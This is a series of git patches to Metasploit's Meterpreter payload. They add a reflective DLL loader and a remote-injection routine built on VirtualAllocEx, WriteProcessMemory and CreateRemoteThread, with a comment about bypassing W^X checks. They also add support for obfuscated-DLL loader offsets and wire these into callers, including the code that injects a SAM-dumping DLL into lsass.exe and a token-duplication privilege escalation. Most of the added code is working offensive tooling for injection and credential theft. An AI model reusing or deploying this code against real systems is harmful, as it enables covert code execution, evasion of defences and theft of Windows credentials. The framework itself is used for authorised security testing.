f98473e19dc20d82c29b38d863835b74f6fc99b0 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:04:06 -0400 Subject: [PATCH 17/23] refactor: implement meterpreter reflective loading for stageless extensions --- c/meterpreter/source/metsrv/server_setup.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 7572e9931..826264e31 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -9,6 +9,7 @@ #include "server_transport_tcp.h" #include "server_transport_named_pipe.h" #include "packet_encryption.h" +#include "extension_loader.h" extern Command* extensionCommands; @@ -71,7 +72,12 @@ LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExten while (stagelessExtensions->size > 0) { dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); + HMODULE hLibrary = NULL; + if(LoadReflectively((ULONG_PTR)stagelessExtensions->dll, &hLibrary) == FALSE || hLibrary == NULL) + { + dprintf("[SERVER] Failed to load extension reflectively"); + break; + } load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); } From 144ac5cec1f03d9f41c899807217ab4c53d0a32c Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:04:24 -0400 Subject: [PATCH 18/23] feat: add TLV_TYPE_LIB_LOADER_OFFSET to represent ReflectiveLoader function offset --- c/meterpreter/source/common/common_core.h | 1 + 1 file changed, 1 insertion(+) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 85c5c4a5d..4f8d551c8 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -151,6 +151,7 @@ typedef enum TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_RAW, 411), ///! Represents a migration stub (raw). TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string). TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int). + TLV_TYPE_LIB_LOADER_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 414), ///! Represents the offset of the ReflectiveLoader function (unsigned int). // Transport switching TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. From b1d672b508638a29abf95ff498e58bbdbbe1b453 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:08:17 -0400 Subject: [PATCH 19/23] feat: implement LoadLibraryR in metsrv and expose it on metapi --- c/meterpreter/source/common/common_metapi.h | 8 +- c/meterpreter/source/metsrv/load_library_r.c | 224 +++++++++++++++++++ c/meterpreter/source/metsrv/load_library_r.h | 7 + c/meterpreter/source/metsrv/metapi.c | 4 + 4 files changed, 241 insertions(+), 2 deletions(-) create mode 100644 c/meterpreter/source/metsrv/load_library_r.c create mode 100644 c/meterpreter/source/metsrv/load_library_r.h diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index 844e23407..8b05af3b4 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -4,15 +4,19 @@ */ #ifndef _METERPRETER_COMMON_METAPI_H #define _METERPRETER_COMMON_METAPI_H - #include "common_winapi.h" +typedef struct _ReflectiveLoaderApi +{ + HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter); +} ReflectiveLoaderApi; typedef struct _InjectApi { - DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); + DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize); DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread); + ReflectiveLoaderApi reflective_loader; } InjectApi; typedef struct _ChannelApi diff --git a/c/meterpreter/source/metsrv/load_library_r.c b/c/meterpreter/source/metsrv/load_library_r.c new file mode 100644 index 000000000..b2374fc84 --- /dev/null +++ b/c/meterpreter/source/metsrv/load_library_r.c @@ -0,0 +1,224 @@ +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "common.h" +#include "common_metapi.h" +#include "load_library_r.h" + +static DWORD Rva2Offset(DWORD dwRva, PIMAGE_NT_HEADERS pNtHeaders) +{ + PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + + // Iterate through the PE sections to find which one contains the RVA. + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) + { + // Check if the RVA is within the current section's virtual address space. + // We use VirtualSize for the upper bound, as this is the true size of the + // section in memory. SizeOfRawData is its size on disk, which can be smaller, + // and using it can lead to failing to find RVAs on some platforms (e.g., ARM64). + if (dwRva >= pSectionHeader->VirtualAddress && dwRva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize)) + { + // The file offset is calculated by taking the RVA, subtracting the section's + // base virtual address, and adding the section's file offset (PointerToRawData). + return (dwRva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData); + } + } + + // If the RVA was not found in any section, it must be within the PE header itself. + // In this case, the RVA is the same as the file offset. + if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders) + { + return dwRva; + } + + return 0; +} + +DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName) +{ + UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + PIMAGE_DOS_HEADER pDosHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + // Validate the PE headers. + pDosHeader = (PIMAGE_DOS_HEADER)uiBaseAddress; + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + pDosHeader->e_lfanew); + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + // Get the export directory RVA. + PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (pDataDirectory->VirtualAddress == 0) + return 0; + + // Convert the RVA to a file offset to get the export directory structure. + DWORD dwExportDirOffset = Rva2Offset(pDataDirectory->VirtualAddress, pNtHeaders); + if (dwExportDirOffset == 0) + return 0; + + PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + dwExportDirOffset); + + // Get pointers to the three critical arrays within the EAT, using file offsets. + PDWORD pdwAddressArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfFunctions, pNtHeaders)); + PDWORD pdwNameArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNames, pNtHeaders)); + PWORD pwNameOrdinals = (PWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNameOrdinals, pNtHeaders)); + + // Search for the loader function by name or by ordinal. + if (((DWORD_PTR)cpReflectiveLoaderName >> 16) == 0) + { + // By ordinal + WORD wOrdinal = LOWORD((DWORD_PTR)cpReflectiveLoaderName); + DWORD dwOrdinalBase = pExportDirectory->Base; + + if (wOrdinal < dwOrdinalBase || wOrdinal >= dwOrdinalBase + pExportDirectory->NumberOfFunctions) + return 0; + + DWORD dwFunctionRva = pdwAddressArray[wOrdinal - dwOrdinalBase]; + return Rva2Offset(dwFunctionRva, pNtHeaders); + } + else + { + // By name + for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) + { + LPCSTR cpExportedFunctionName = (LPCSTR)(uiBaseAddress + Rva2Offset(pdwNameArray[i], pNtHeaders)); + + // Use strcmp for a precise match. + if (strcmp(cpExportedFunctionName, cpReflectiveLoaderName) == 0) + { + WORD wFunctionOrdinal = pwNameOrdinals[i]; + DWORD dwFunctionRva = pdwAddressArray[wFunctionOrdinal]; + return Rva2Offset(dwFunctionRva, pNtHeaders); + } + } + } + + return 0; +} + +HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset; + REFLECTIVELOADER pReflectiveLoader; + DLLMAIN pDllMain; + DWORD dwOldProtect; + + if (lpBuffer == NULL || dwLength == 0) + return NULL; + + // Find the file offset of the reflective loader function. + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); + if (dwReflectiveLoaderOffset == 0) + return NULL; + + pReflectiveLoader = (ULONG_PTR)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // Make the buffer executable so we can call the loader. + if (!met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect)) + return NULL; + + // Call the loader, which performs the mapping and returns a pointer to the new DllMain. + pDllMain = (DLLMAIN)pReflectiveLoader(); + if (pDllMain == NULL) + { + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); + return NULL; + } + + // Query the newly loaded DllMain for its module handle. + if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult)) + hResult = NULL; + + // Revert the original buffer's memory protection. + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); + + return hResult; +} + +HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter) +{ + LPVOID lpRemoteLibraryBuffer = NULL; + HANDLE hThread = NULL; + DWORD dwResult = ERROR_SUCCESS; + do { + if (!hProcess || !lpBuffer || !dwLength) + return NULL; + // Find the loader's offset within the file buffer. + DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); + if(dwActualReflectiveLoaderOffset != 0) { + dprintf("[LOADREMOTE] Using effective reflective loader offset: %lu\n", dwActualReflectiveLoaderOffset); + dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset; + } + + if (dwReflectiveLoaderOffset == 0) { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to find reflective loader offset", ERROR_INVALID_DATA); + } + + // Allocate memory in the remote process for the DLL. + lpRemoteLibraryBuffer = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!lpRemoteLibraryBuffer) { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to allocate memory in remote process", ERROR_OUTOFMEMORY); + } + + // Write the entire DLL buffer into the allocated remote memory. + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to write library into remote process memory", ERROR_WRITE_FAULT); + } + + // Set initial memory permissions to Execute+Read. The loader will later set final + // permissions on each section, but this helps bypass some basic W^X checks. + DWORD dwOldProt; + if (!met_api->win_api.kernel32.VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt)) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to set memory protection in remote process", ERROR_INVALID_PARAMETER); + } + + // Calculate the absolute address of the reflective loader in the remote process. + LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); + + // Create a remote thread to execute the loader. + hThread = met_api->win_api.kernel32.CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, 0, NULL); + if (!hThread) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to create remote thread", ERROR_INVALID_PARAMETER); + } + } while (FALSE); + + if(dwResult != ERROR_SUCCESS) + { + if (lpRemoteLibraryBuffer) + { + met_api->win_api.kernel32.VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE); + } + return NULL; + } + return hThread; +} diff --git a/c/meterpreter/source/metsrv/load_library_r.h b/c/meterpreter/source/metsrv/load_library_r.h new file mode 100644 index 000000000..54bf53fcb --- /dev/null +++ b/c/meterpreter/source/metsrv/load_library_r.h @@ -0,0 +1,7 @@ +#include "common.h" +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); +HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter); \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index d5cd69220..831493747 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -4,6 +4,7 @@ #include "remote_thread.h" #include "unicode.h" #include "winapi.h" +#include "load_library_r.h" MetApi api_instance = { // PacketApi @@ -129,6 +130,9 @@ MetApi api_instance = { inject_via_apcthread, inject_via_remotethread, inject_via_remotethread_wow64, + { + load_library_r, + } }, // DesktopApi { From b3b8e7720e39e30106a189514226c8737bc1e1c8 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:09:05 -0400 Subject: [PATCH 20/23] feat: integrate reflective loader offset into elevate_via_service_tokendup function --- c/meterpreter/source/extensions/priv/tokendup.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/c/meterpreter/source/extensions/priv/tokendup.c b/c/meterpreter/source/extensions/priv/tokendup.c index 04fc46e7c..8f0b38c7e 100644 --- a/c/meterpreter/source/extensions/priv/tokendup.c +++ b/c/meterpreter/source/extensions/priv/tokendup.c @@ -1,8 +1,6 @@ #include "precomp.h" #include "common_metapi.h" #include "tokendup.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" /* * Enable or disable a privilege in our processes current token. @@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) do { LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet); + DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET); // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) @@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll - hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine ); + hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine ); if( !hThread ) break; From 81439d92e9288085511241ea38d63b4b1da276d6 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:28:57 -0400 Subject: [PATCH 21/23] feat: support offset for inject_dll function --- c/meterpreter/source/extensions/priv/passwd.c | 3 ++- .../source/extensions/stdapi/server/sys/process/ps.c | 3 ++- c/meterpreter/source/extensions/stdapi/server/ui/desktop.c | 2 ++ c/meterpreter/source/metsrv/base_inject.c | 6 +++++- c/meterpreter/source/metsrv/base_inject.h | 2 +- 5 files changed, 12 insertions(+), 4 deletions(-) diff --git a/c/meterpreter/source/extensions/priv/passwd.c b/c/meterpreter/source/extensions/priv/passwd.c index 81ce63a4b..a6e124525 100644 --- a/c/meterpreter/source/extensions/priv/passwd.c +++ b/c/meterpreter/source/extensions/priv/passwd.c @@ -503,7 +503,8 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid); /* todo: change the ReflectiveLoader string here, it's silly */ - if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS) + /* todo: support the offset for obfuscated dlls */ + if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS) BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult); dprintf("[PASSWD] Successfully injected the DLL into lsass.exe"); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c index 53be9b1aa..9cfe51cf1 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c @@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, if( dwDllArch != dwPidArch ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); - dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 ); + // TODO: support offset for obfuscated dlls + dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 ); } while( 0 ); return dwResult; diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index 93d2e59db..b2c86c3e3 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -427,6 +427,8 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) } LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request); + // TODO: Get optional offset for external reflective loader + // Modify the DLL_BUFFER struct to support offsets... // get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes // we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 276128947..7387d0df6 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW */ -DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) +DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize) { DWORD dwResult = ERROR_ACCESS_DENIED; LPVOID lpRemoteArg = NULL; @@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader); + if(dwActualReflectiveLoaderOffset != 0) { + dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset); + dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset; + } if (!dwReflectiveLoaderOffset) BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION); diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h index 4c639b5b3..e5effa347 100644 --- a/c/meterpreter/source/metsrv/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); -DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); +DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize); BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch); //===============================================================================================// #endif From ebf6982aa002d26e31a8c814ea041844c863015c Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 28 Apr 2026 11:46:31 +0200 Subject: [PATCH 22/23] Apply suggestion from @dledda-r7 --- c/meterpreter/source/extensions/stdapi/server/ui/desktop.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index b2c86c3e3..1e76f9c0c 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -427,8 +427,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) } LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request); - // TODO: Get optional offset for external reflective loader - // Modify the DLL_BUFFER struct to support offsets... + /* TODO: Get optional offset for external reflective loader + * Modify the DLL_BUFFER struct to support offsets... + * another note is to remove / update this technique to a better one. + */ // get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes // we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system From bbaeada663383c2f44e52255a9239da807afecf8 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 28 Apr 2026 11:46:44 +0200 Subject: [PATCH 23/23] Apply suggestion from @dledda-r7 --- c/meterpreter/source/extensions/priv/passwd.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/extensions/priv/passwd.c b/c/meterpreter/source/extensions/priv/passwd.c index a6e124525..895530eb1 100644 --- a/c/meterpreter/source/extensions/priv/passwd.c +++ b/c/meterpreter/source/extensions/priv/passwd.c @@ -503,7 +503,10 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid); /* todo: change the ReflectiveLoader string here, it's silly */ - /* todo: support the offset for obfuscated dlls */ + /* Currently is hard to support obfuscation of dump_sam. + Due to how dump_sam is embedded inside the priv extension. + Hardcoding offset to 0 so it will use the original `ReflectiveLoader` + */ if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS) BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult); dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");